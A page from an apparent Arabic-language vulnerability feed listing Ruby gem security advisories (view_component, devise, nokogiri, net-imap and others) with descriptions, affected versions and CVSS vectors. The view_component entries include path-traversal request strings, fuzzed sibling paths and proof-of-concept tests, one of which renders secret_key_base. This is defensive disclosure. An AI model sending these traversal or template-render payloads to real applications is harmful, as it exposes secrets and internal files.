🛡️ Vuln Watch
Vulnerabilities Package Scanner
🕐 آخر تحديث:
⏭️ التحديث القادم:
⏳ المتبقي: 00:00
الإجمالي: 242213
نتائج: 1908
ص: 1/39
📡 المصادر:
غير محدد
📦 view_component 📌 3.0.0, 3.1.0, 3.10.0, 3.11.0, 3.12.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. S...
📅 2026-05-08 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. Severity: Medium; test-route scoped. Example: ```text Allowed base: /app/tmp/view_components Outside path: /app/tmp/view_components_evil/secret.html.erb ``` The outside path is not inside the base directory, but it passes: ```ruby @path.start_with?(base_path) ``` ### Relevant Code `app/controllers/view_components_system_test_controller.rb`: ```ruby base_path = ::File.realpath(self.class.temp_dir) @path = ::File.realpath(params.permit(:file)[:file], base_path) raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path) ``` The route then renders the resolved file: ```ruby render file: @path ``` ### Exploit Flow Example request: ```text GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb ``` Flow: 1. `base_path` resolves to `.../tmp/view_components`. 2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`. 3. That path is outside the intended temp directory. 4. The string prefix check still passes. 5. Rails renders the sibling file. The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment. ### Targeted Fuzz Result The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory: ```text ../view_components_evil/secret.html ../view_components2/poc.html ../view_components.bak/poc.html ../view_components-old/poc.html ../view_componentsx/poc.html ``` ### PoC Test Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`: ```ruby # frozen_string_literal: true require "test_helper" require "fileutils" class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir) parent_dir = File.dirname(base_dir) sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil") outside_file = File.join(sibling_dir, "secret.html.erb") FileUtils.mkdir_p(sibling_dir) File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>") get "/_system_test_entrypoint", params: { file: "../#{File.basename(base_dir)}_evil/secret.html.erb" } assert_response :success assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC" ensure FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir) end end ``` Run: ```bash bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb ``` Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`. Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file. ### Suggested Fix Use path-aware containment instead of a raw string prefix. For example: ```ruby def validate_file_path base_path = Pathname.new(::File.realpath(self.class.temp_dir)) path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s)) relative_path = path.relative_path_from(base_path) raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".." @path = path.to_s end ``` Or require a separator boundary: ```ruby allowed_prefix = "#{base_path}#{File::SEPARATOR}" unless @path == base_path || @path.start_with?(allowed_prefix) raise ViewComponent::SystemTestControllerNefariousPathError end ``` Add regression tests for: - A normal temp file inside `tmp/view_components` - `../../README.md` - `../view_components_evil/secret.html.erb` - A symlink inside the temp directory that resolves outside it

الإصدارات المتأثرة

3.0.0, 3.1.0, 3.10.0, 3.11.0, 3.12.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

غير محدد
📦 view_component 📌 3.0.0, 3.1.0, 3.10.0, 3.11.0, 3.12.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent...
📅 2026-05-08 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. Severity: High if preview routes are externally reachable; Medium otherwise. Affected files: - `lib/view_component/preview.rb` - `app/controllers/concerns/view_component/preview_actions.rb` - `app/views/view_components/preview.html.erb` ### Relevant Code `app/controllers/concerns/view_component/preview_actions.rb`: ```ruby @example_name = File.basename(params[:path]) @render_args = @preview.render_args(@example_name, params: params.permit!) ``` `lib/view_component/preview.rb`: ```ruby example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) ``` `app/views/view_components/preview.html.erb`: ```erb <%= render template: @render_args[:template], locals: @render_args[:locals] || {} %> ``` The UI only lists direct preview methods via: ```ruby public_instance_methods(false).map(&:to_s).sort ``` But `render_args` does not enforce that list before dispatching. ### Exploit Flow Example request: ```text GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request ``` Flow: 1. `my_component` resolves to a valid preview. 2. `File.basename(params[:path])` returns `render_with_template`. 3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`. 4. Request params provide `template: "internal/secret"` and `locals: {...}`. 5. The preview view renders `internal/secret` with attacker-controlled locals. Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values. ### PoC Test This checkout already contains a PoC at: - `test/sandbox/test/security_preview_template_poc_test.rb` - `test/sandbox/app/views/internal/secret.html.erb` The test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`. If reproducing manually, run: ```bash bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb ``` Equivalent standalone test: ```ruby # frozen_string_literal: true require "test_helper" class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest def setup ViewComponent::Preview.__vc_load_previews end def test_preview_route_can_invoke_inherited_render_with_template refute_includes MyComponentPreview.examples, "render_with_template" assert_raises(ActionController::RoutingError) do Rails.application.routes.recognize_path("/internal/secret") end get( "/rails/view_components/my_component/render_with_template", params: { template: "internal/secret", locals: {poc_local: "attacker-controlled-local"}, request_marker: "attacker-controlled-request" } ) assert_response :success assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo" assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local" assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request" end end ``` Fixture template: ```erb <div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div> <div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div> <div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div> ``` ### Suggested Fix Only dispatch explicitly declared preview examples: ```ruby def render_args(example, params: {}) example = example.to_s raise AbstractController::ActionNotFound unless examples.include?(example) example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) result ||= {} result[:template] = preview_example_template_path(example) if result[:template].nil? @layout = nil unless defined?(@layout) result.merge(layout: @layout) end ``` Add a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.

الإصدارات المتأثرة

3.0.0, 3.1.0, 3.10.0, 3.11.0, 3.12.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

غير محدد
📦 devise 📌 All versions < 0.1.0, 0.1.1, 0.2.0, 0.2.1, 0.2.2 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary When the `Timeoutable` module is enabled in Devise, the `FailureApp#redirect_url` method returns `request.referrer` — the HTTP `Referer` header, which is attacker-controllable — without validation for any non-GET request that results in a session timeout. An attacker ...
📅 2026-05-08 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary When the `Timeoutable` module is enabled in Devise, the `FailureApp#redirect_url` method returns `request.referrer` — the HTTP `Referer` header, which is attacker-controllable — without validation for any non-GET request that results in a session timeout. An attacker who hosts a page with an auto-submitting cross-origin form can cause a victim with an expired Devise session to be redirected to an arbitrary external URL. This contrasts with the GET timeout path (which uses server-side `attempted_path`) and Devise's own `store_location_for` mechanism (which strips external hosts via `extract_path_from_location`), both of which are protected; only the non-GET timeout redirect path is unprotected. ## Details The vulnerable code is in `lib/devise/failure_app.rb`: ```ruby def redirect_url if warden_message == :timeout flash[:timedout] = true if is_flashing_format? path = if request.get? attempted_path # safe: server-side value from warden options else request.referrer # UNSAFE: HTTP Referer header, attacker-controlled end path || scope_url else scope_url end end ``` This is passed directly to `redirect_to`: ```ruby def redirect store_location! # ... redirect_to redirect_url # redirect_url may be an external attacker URL end ``` The GET timeout path uses `attempted_path`, which is set server-side by Warden and cannot be influenced by the client. The `store_location!` method also only runs for GET requests, so no session-based protection is applied on POST timeouts. By contrast, Devise's `store_location_for` method (used elsewhere) correctly sanitizes URLs via `extract_path_from_location`, which strips the scheme and host. ## Impact - Victims with expired sessions who click any attacker-crafted link or visit an attacker page with an auto-submitting form are redirected to an arbitrary external URL. - The redirect happens transparently via a trusted domain (the target app's domain), bypassing browser phishing warnings. - An attacker can redirect victims to a fake login page to harvest credentials (phishing), or to malicious download sites. _Note_: Rails' built-in open-redirect protection does not mitigate this issue. `Devise::FailureApp` is an `ActionController::Metal` app with its own isolated copy of the relevant redirect configuration, so `config.action_controller.action_on_open_redirect = :raise` (and the older `raise_on_open_redirects` setting) do not reach it. ## Patches This is patched in Devise v5.0.4. Users should upgrade as soon as possible. ## Workaround None beyond upgrading. If an upgrade is not immediately possible, the same changes from the patch commit can be applied as a monkey-patch in a Rails initializer (`Devise::FailureApp#redirect_url` and `Devise::Controllers::StoreLocation#extract_path_from_location`). Remove the monkey-patch after upgrading.

الإصدارات المتأثرة

All versions < 0.1.0, 0.1.1, 0.2.0, 0.2.1, 0.2.2

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

عالية
📦 katalyst-koi 📌 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.1.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact Admin session cookies were not invalidated when an admin user logged out. An attacker with access to a valid admin session cookie could continue to access admin functionality after logout, until the cookie expired or session secrets were rotated. This affects applica...
📅 2026-05-07 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Impact Admin session cookies were not invalidated when an admin user logged out. An attacker with access to a valid admin session cookie could continue to access admin functionality after logout, until the cookie expired or session secrets were rotated. This affects applications using Koi admin authentication where an admin session cookie may have been exposed, cached, intercepted, or otherwise retained after logout. ### Patches The issue has been patched by recording admin logout time and rejecting any admin session cookie created before the user’s most recent logout. Users should upgrade to the patched Koi releases once available. ### Workarounds Katalyst Koi recommends upgrading to the latest available version, or back porting the changes released in 5.6.0/4.20.0 ### Resources This is an application of https://guides.rubyonrails.org/v5.2.0/security.html#replay-attacks-for-cookiestore-sessions

الإصدارات المتأثرة

4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.1.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

غير محدد
📦 css_parser 📌 All versions < 0.9.0, 0.9.1, 1.0.0, 1.0.1, 1.1.1 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The CSS Parser gem does not validate HTTPS connections, allowing a Man-in-the-Middle (MITM) attacker to inject or modify CSS content when stylesheets are loaded via HTTPS. The connection is established with `OpenSSL::SSL::VERIFY_NONE`, meaning any HTTPS certificate—e...
📅 2026-05-07 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary The CSS Parser gem does not validate HTTPS connections, allowing a Man-in-the-Middle (MITM) attacker to inject or modify CSS content when stylesheets are loaded via HTTPS. The connection is established with `OpenSSL::SSL::VERIFY_NONE`, meaning any HTTPS certificate—even entirely untrusted—will be accepted without validation. ### Details In `lib/css_parser/parser.rb`, the HTTP client sets: https://github.com/premailer/css_parser/blob/3f91e8db7547fac50ab50cb7f9920f785f722740/lib/css_parser/parser.rb#L646 ```ruby http.verify_mode = OpenSSL::SSL::VERIFY_NONE ``` As a result, the library does not validate the authenticity of HTTPS connections and does not protect against man-in-the-middle attacks. Any attacker in a position to intercept network traffic can inject or modify CSS loaded via HTTPS URLs without detection or warning. ### PoC 1. Set up a test Ruby project that uses the CSS Parser gem and loads an external stylesheet over HTTPS. 2. Use a local proxy (such as mitmproxy or Burp Suite) to intercept outgoing HTTPS requests. 3. Present a fake self-signed certificate to the client. 4. Inject custom CSS into the intercepted HTTPS response. The request will succeed and the injected CSS will be delivered to the application, as the connection is not validated. ### References https://github.com/premailer/css_parser/issues/185 ### Impact Applications using CSS Parser to load remote stylesheets over HTTPS are vulnerable to CSS injection and content manipulation, regardless of the trust status of the remote server. All users who use CSS Parser to fetch external CSS over HTTPS may be impacted. ### Credit This vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.

الإصدارات المتأثرة

All versions < 0.9.0, 0.9.1, 1.0.0, 1.0.1, 1.1.1

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

غير محدد
📦 nokogiri 📌 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary Nokogiri's `Nokogiri::XSLT::Stylesheet#transform` leaks a small heap allocation when passed a Ruby string parameter containing a null byte. For applications that pass attacker-controlled input through `XSLT.transform` parameters, this may be a vector for a denial of ...
📅 2026-05-06 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary Nokogiri's `Nokogiri::XSLT::Stylesheet#transform` leaks a small heap allocation when passed a Ruby string parameter containing a null byte. For applications that pass attacker-controlled input through `XSLT.transform` parameters, this may be a vector for a denial of service attack against long-running processes. ## Mitigation Upgrade to Nokogiri `>= 1.19.3`. Users may also be able to mitigate this issue without upgrading by validating untrusted transform parameters before passing them to `Nokogiri::XSLT::Stylesheet#transform`. ## Severity The Nokogiri maintainers have evaluated this as **Moderate Severity**, CVSS 5.3. Each leaked allocation is approximately 24–32 bytes, so meaningful memory growth requires sustained attacker-controlled traffic at high call rates. The bug does not cause memory corruption, information disclosure, or any change in the behavior of the transform itself, and the string-handling exception is raised as expected. Applications that do not pass raw attacker-controlled bytes to XSLT parameters are unlikely to be affected in practice. ## Resources - [CWE-401: Missing Release of Memory after Effective Lifetime](https://cwe.mitre.org/data/definitions/401.html) ## Credit This vulnerability was responsibly reported by @Captainjack-kor.

الإصدارات المتأثرة

1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

عالية
📦 nokogiri 📌 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4 🗄️ سيرفر 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release: 1. String-literal tokenization on certain unterminated quoted-s...
📅 2026-05-06 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release: 1. String-literal tokenization on certain unterminated quoted-string input. 2. String-literal tokenization on a separate class of hex-escape-rich input. 3. Identifier tokenization on hex-escape-rich input. The public CSS selector methods that funnel through the affected tokenizer are `Nokogiri::CSS.xpath_for`, `Node#css`, `Node#at_css`, `Searchable#search`, and `CSS::Parser#parse`. ## Mitigation Upgrade to Nokogiri `>= 1.19.3`. If users are unable to upgrade, two options are available: - Avoid the use of attacker-controlled text in CSS selectors. Applications that only pass developer-authored selectors to Nokogiri are not directly exposed. - Set global `Regexp.timeout` (Ruby 3.2+, JRuby 9.4+) to bound parse time. ## Severity The Nokogiri maintainers have evaluated this as **High Severity** (CVSS 7.5, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`). An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service. ## Resources - [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html) ## Credit Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report.

الإصدارات المتأثرة

1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 graphql 📌 2.6.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 GraphQL-Ruby's `max_query_string_tokens` configuration didn't count comment tokens against the limit, allowing strings to be processed even after the configured maximum had actually been reached. In patched versions, the Ruby lexer does count these tokens. GraphQL-CParser is ...
📅 2026-05-05 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

GraphQL-Ruby's `max_query_string_tokens` configuration didn't count comment tokens against the limit, allowing strings to be processed even after the configured maximum had actually been reached. In patched versions, the Ruby lexer does count these tokens. GraphQL-CParser is not affected by this problem. `max_query_string_tokens` was introduced in v2.3.1. Each 2.x version has received a new patch release for including a fix.

الإصدارات المتأثرة

2.6.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

غير محدد
📦 net-imap 📌 All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3 📧 بريد 💎 مكتبة Ruby RubyGems ⚡ Command Injection 🎯 محلي ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary Several `Net::IMAP` commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain `CRLF` sequences, which an attacker can use to inject arbitrary IMAP comm...
📅 2026-05-04 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary Several `Net::IMAP` commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain `CRLF` sequences, which an attacker can use to inject arbitrary IMAP commands. ### Details `Net::IMAP`'s generic argument handling, used by most command arguments, interprets string arguments as an IMAP `astring`. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either a `atom`, `quoted`, or `literal`. These are safe from command or argument injection. But the following commands transform specific String arguments to `Net::IMAP::RawData`, which bypasses normal argument validation and encoding and prints the string directly to the socket: * `#uid_search`, `#search` * when `criteria` is a String, it is sent raw * `#uid_fetch`, `#fetch` * when `attr` is a String, it is sent raw * when `attr` is an Array, each String in `attr` is sent raw * `#uid_store`, `#store` * when `attr` is a String, it is sent raw * `#setquota`: * `limit` is interpolated with `#to_s` and that string is sent raw Because these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context. Using "raw data" arguments for `#uid_store`, `#store`, and `#setquota` I both inappropriate and unnecessary. `Net::IMAP`'s generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input. The API for search criteria and fetch attributes is intentionally low-level and "close to the wire". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection. Although this was explicitly documented for search `criteria`, it was insufficiently documented for fetch `attr`. So developers may not have realized that the `attr` argument to `#fetch` and `#uid_fetch` is sent as "raw data". ### Impact If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not _directly_ enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers. The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk. Expected use of `Net::IMAP#setquota` is much more limited: `SETQUOTA` is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol `SETQUOTA` command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling `#setquota` with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges. ### Mitigation - Update to a patched version of `net-imap` which: - validates that `Net::IMAP::RawData` is composed of well-formed IMAP `text`, `literal`, and `literal8` values, with no unescaped `NULL`, `CR`, or `LF` bytes. - does not use `Net::IMAP::RawData` for `#store`, `#uid_store`, or `#setquota`. - Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string. - If an immediate upgrade is not possible: - String inputs to search criteria and fetch attributes can be validated against command injection by checking for `\r` and `\n` characters. - Hard-coding the store `attr` argument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application. - Use `Kernel#Integer` to coerce and validate user controlled inputs to `#setquota` limit.

الإصدارات المتأثرة

All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3

نوع الثغرة

CWE-77 — Command Injection

CVSS Vector

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

غير محدد
📦 net-imap 📌 All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3 📧 بريد 💎 مكتبة Ruby RubyGems ⚡ Command Injection 🎯 محلي ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands. ### Details Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a `"\"` prefix. ...
📅 2026-05-04 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands. ### Details Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a `"\"` prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation. Because the Symbol input is unvalidated, it could contain invalid `flag` characters, including `SP` and `CRLF`, which could be used to finish the current command and inject new commands. Although IMAP `flag` arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (`flag`) inputs. Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP `keyword` syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should `#to_sym` ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that `user_input_atom` is as `\user_input_atom`. For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context. ### Impact If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like `DELETE mailbox`). ### Mitigation * Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP `flag`. * User-provided input should never be able to control calling `#to_sym` on string arguments. For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments. * For the few IMAP commands which do allow `flag` arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.

الإصدارات المتأثرة

All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3

نوع الثغرة

CWE-77 — Command Injection

CVSS Vector

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

غير محدد
📦 net-imap 📌 All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3 📧 بريد 💎 مكتبة Ruby RubyGems ⚡ Resource Exhaustion 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary When authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value. ### Details A hostile IMAP server can send an arbitrarily large...
📅 2026-05-04 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary When authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value. ### Details A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive `OpenSSL::KDF.pbkdf2_hmac` call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation. OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes. This is listed as one of the "Security Considerations", in [RFC 7804](https://www.rfc-editor.org/rfc/rfc7804.html#page-15): > A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication). ### Impact During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes. `OpenSSL::KDF.pbkdf2_hmac` is a blocking C function, so `Timeout` cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run. ### Mitigation * Upgrade to a patched version of `net-imap` that adds the `max_iterations` option to the `SASL-*` authenticators, and call `Net::IMAP#authenticate` with a `max_iterations` keyword argument. **NOTE:** The default `max_iterations` is `2³¹ - 1`, the maximum signed 32 bit integer, the maximum allowed by OpenSSL. _To prevent a denial of service attack,_ this must be set to a safe value, depending on hardware and version of OpenSSL. _It is the user's responsibility_ to enforce minimum and maximum iteration counts that are appropriate for their security context. * Alternatively, avoid `SCRAM-*` mechanisms when authenticating to untrusted servers.

الإصدارات المتأثرة

All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3

نوع الثغرة

CWE-770 — Resource Exhaustion

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

منخفضة
📦 net-imap 📌 All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3 📧 بريد 💎 مكتبة Ruby RubyGems ⚡ CWE-407 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary `Net::IMAP::ResponseReader` has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack. ### Details For each literal i...
📅 2026-05-04 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary `Net::IMAP::ResponseReader` has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack. ### Details For each literal in a response, `ResponseReader` rescans the entire growing response buffer. The regular expression that is used to scan the response buffer runs in linear time. With many literals, this becomes O(n²) total work. The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant. Because the algorithmic complexity is super-linear, this bypasses protection from `max_response_size`: a response can stay well below the default size limit while still causing very large CPU cost. `Net::IMAP::ResponseReader` runs continuously in the receiver thread until the connection closes. ### Impact This consumes disproportionate CPU time in the client's receiver thread. A hostile server could use this to exhaust the client's CPU for a denial of service attack. For a response near the default `max_response_size`, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response. While the regexp is scanning, it retains the Global VM lock, preventing other threads from running. Although other threads should not be _completely_ blocked, their run time will be significantly impacted. ### Mitigation * Upgrade to a patched version of net-imap that reads responses more efficiently. * Do not connect to untrusted IMAP servers. * When connecting to untrusted servers, a _much_ smaller `max_response_size` (for example: 8KiB) will limit the impact. Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.

الإصدارات المتأثرة

All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3

نوع الثغرة

CWE-407 — CWE-407

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

عالية
